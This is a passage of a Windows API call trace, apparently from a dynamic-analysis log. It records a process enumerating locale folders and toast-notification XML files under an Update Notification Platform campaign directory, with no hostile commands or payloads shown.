ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.369] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0238.370] GetProcessHeap () returned 0xc10000 [0238.370] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.370] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0238.370] GetProcessHeap () returned 0xc10000 [0238.370] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.370] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0238.372] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.372] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9f19, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.372] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.372] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.373] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.373] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.373] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0238.374] GetProcessHeap () returned 0xc10000 [0238.374] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.374] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1 [0238.374] GetProcessHeap () returned 0xc10000 [0238.374] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.374] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0238.376] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.377] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.377] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.377] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.377] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.377] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.377] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0238.378] GetProcessHeap () returned 0xc10000 [0238.378] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.378] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1 [0238.378] GetProcessHeap () returned 0xc10000 [0238.378] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.378] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0238.380] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.380] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.380] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.381] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.381] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e93ff63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e93ff63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.381] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e93ff63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e93ff63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.381] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0238.382] GetProcessHeap () returned 0xc10000 [0238.382] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.382] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0238.382] GetProcessHeap () returned 0xc10000 [0238.382] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.382] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0238.384] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.384] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x94f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.384] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.385] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.385] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.385] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.385] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0238.386] GetProcessHeap () returned 0xc10000 [0238.386] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.386] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1 [0238.386] GetProcessHeap () returned 0xc10000 [0238.386] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.386] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0238.390] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.390] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.390] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.390] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebee9e0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebee9e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.390] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.390] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.390] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0238.391] GetProcessHeap () returned 0xc10000 [0238.391] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.391] FindNextFileW (in: 